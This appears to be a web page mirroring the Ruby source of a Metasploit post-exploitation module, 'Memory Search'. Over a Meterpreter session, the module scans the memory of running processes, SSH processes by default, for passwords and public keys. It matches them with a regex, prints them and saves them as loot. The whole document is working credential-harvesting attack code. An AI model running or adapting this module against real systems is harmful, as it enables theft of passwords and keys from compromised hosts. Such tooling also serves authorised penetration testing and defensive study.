Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/memory_search.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'Memory Search',12'Description' => %q{13This module allows for searching the memory space of running processes for14potentially sensitive data such as passwords.15},16'License' => MSF_LICENSE,17'Author' => %w[sjanusz-r7],18'SessionTypes' => %w[meterpreter],19'Platform' => %w[linux unix osx windows],20'Arch' => [ARCH_X86, ARCH_X64],21'Compat' => {22'Meterpreter' => {23'Commands' => %w[24stdapi_sys_process_memory_search25stdapi_sys_process_get_processes26]27}28},29'Notes' => {30'Stability' => [CRASH_SAFE],31'Reliability' => [],32'SideEffects' => []33}34)35)3637register_options(38[39::Msf::OptString.new('PROCESS_NAMES_GLOB', [false, 'Glob used to target processes', 'ssh*']),40::Msf::OptString.new('PROCESS_IDS', [false, 'Comma delimited process ID/IDs to search through']),41::Msf::OptString.new('REGEX', [true, 'Regular expression to search for within memory', 'publickey,password.*']),42::Msf::OptInt.new('MIN_MATCH_LEN', [true, 'The minimum number of bytes to match', 5]),43::Msf::OptInt.new('MAX_MATCH_LEN', [true, 'The maximum number of bytes to match', 127]),44::Msf::OptBool.new('REPLACE_NON_PRINTABLE_BYTES', [false, 'Replace non-printable bytes with "."', true]),45::Msf::OptBool.new('SAVE_LOOT', [false, 'Save the memory matches to loot', true])46]47)48end4950def process_names_glob51datastore['PROCESS_NAMES_GLOB']52end5354def process_ids55datastore['PROCESS_IDS']56end5758def regex59datastore['REGEX']60end6162def min_match_len63datastore['MIN_MATCH_LEN']64end6566def max_match_len67datastore['MAX_MATCH_LEN']68end6970def replace_non_printable_bytes?71datastore['REPLACE_NON_PRINTABLE_BYTES']72end7374def save_loot?75datastore['SAVE_LOOT']76end7778ARCH_MAP =79{80'i686' => ARCH_X86,81'x86' => ARCH_X86,82'x64' => ARCH_X64,83'x86_64' => ARCH_X6484}.freeze8586def get_target_processes87raw_target_pids = process_ids || ''88target_pids = raw_target_pids.split(',').map(&:to_i)89target_processes = []9091session_processes = session.sys.process.get_processes92process_table = session_processes.to_table93process_table.columns.unshift 'Matched?'9495process_table.colprops.unshift(96{97'Formatters' => [],98'Stylers' => [::Msf::Ui::Console::TablePrint::CustomColorStyler.new('true' => '%grn', 'false' => '%red')],99'ColumnStylers' => []100}101)102103process_table.sort_index += 1104105session_processes.each.with_index do |session_process, index|106pid, _ppid, name, _path, _session, _user, _arch = *session_process.values107108if target_pids.include?(pid) || ::File.fnmatch(process_names_glob || '', name, ::File::FNM_EXTGLOB)109target_processes.append session_process110process_table.rows[index].unshift 'true'111else112process_table.rows[index].unshift 'false'113end114end115116vprint_status(process_table.to_s)117target_processes118end119120def run_against_multiple_processes(processes: [])121results = []122123processes.each do |process|124response = nil125status = nil126127begin128response = session.sys.process.memory_search(129pid: process['pid'],130needles: [regex],131min_match_length: min_match_len,132max_match_length: max_match_len133)134status = :success135rescue ::Rex::Post::Meterpreter::RequestError => e136response = e137status = :failure138end139140results.append({ process: process, status: status, response: response })141end142143results144end145146def print_result(result: nil)147return unless result148149process_info = "#{result[:process]['name']} (pid: #{result[:process]['pid']})"150unless result[:status] == :success151warning_message = "Memory search request for #{process_info} failed. Return code: #{result[:response]}"152if result[:process]['arch'].empty? || result[:process]['path'].empty?153warning_message << "\n Potential reasons:"154warning_message << "\n\tInsufficient permissions."155end156print_warning warning_message157return158end159160result_group_tlvs = result[:response].get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS)161if result_group_tlvs.empty?162match_not_found_msg = "No regular expression matches were found in memory for #{process_info}."163normalised_process_arch = ARCH_MAP[result[:process]['arch']] || result[:process]['arch']164165potential_failure_reasons = []166167if session.arch != normalised_process_arch168potential_failure_reasons.append "Architecture mismatch (session: #{session.arch}) (process: #{normalised_process_arch})"169end170171if potential_failure_reasons.any?172match_not_found_msg << "\n Potential reasons:"173potential_failure_reasons.each { |potential_reason| match_not_found_msg << "\n\t#{potential_reason}" }174end175176print_status match_not_found_msg177return178end179180results_table = ::Rex::Text::Table.new(181'Header' => "Memory Matches for #{process_info}",182'Indent' => 1,183'Columns' => ['Match Address', 'Match Length', 'Match Buffer', 'Memory Region Start', 'Memory Region Size']184)185186address_length = session.native_arch == ARCH_X64 ? 16 : 8187result_group_tlvs.each do |result_group_tlv|188match_address = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR).value.to_s(16).upcase189match_buffer = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR).value190# Mettle doesn't return this TLV. We can get the match length from the buffer instead.191match_length = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_LEN)&.value192match_length ||= match_buffer.bytesize193region_start_address = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_START_ADDR).value.to_s(16).upcase194region_start_size = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_SECT_LEN).value.to_s(16).upcase195196if replace_non_printable_bytes?197match_buffer = match_buffer.bytes.map { |byte| /[[:print:]]/.match?(byte.chr) ? byte.chr : '.' }.join198end199200results_table << [201"0x#{match_address.rjust(address_length, '0')}",202match_length,203match_buffer.inspect,204"0x#{region_start_address.rjust(address_length, '0')}",205"0x#{region_start_size.rjust(address_length, '0')}"206]207end208209print_status results_table.to_s210end211212def save_loot(results: [])213return if results.empty?214215# Each result has a single response, which contains zero or more group tlv's.216results.each do |result|217# We don't want to save results that failed218next unless result[:status] == :success219220group_tlvs = result[:response].get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS)221next if group_tlvs.empty?222223group_tlvs.each do |group_tlv|224match = group_tlv.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR)225next unless match226227stored_loot = store_loot(228'memory.dmp',229'bin',230session,231match,232"memory_search_#{result[:process]['name']}.bin",233'Process Raw Memory Buffer'234)235vprint_good("Loot stored to: #{stored_loot}")236end237end238end239240def run241if session.type != 'meterpreter'242print_error 'Only Meterpreter sessions are supported by this post module'243return244end245246if process_ids && !process_ids.match?(/^(\s*\d(\s*,\s*\d+\s*)*)*$/)247print_error 'PROCESS_IDS is not a comma-separated list of integers'248return249end250251print_status "Running module against - #{session.info} (#{session.session_host}). This might take a few seconds..."252253print_status 'Getting target processes...'254target_processes = get_target_processes255if target_processes.empty?256print_warning 'No target processes found.'257return258end259260target_processes_message = "Running against the following processes:\n"261target_processes.each do |target_process|262target_processes_message << "\t#{target_process['name']} (pid: #{target_process['pid']})\n"263end264265print_status target_processes_message266processes_results = run_against_multiple_processes(processes: target_processes)267processes_results.each { |process_result| print_result(result: process_result) }268269save_loot(results: processes_results) if save_loot?270end271end272273274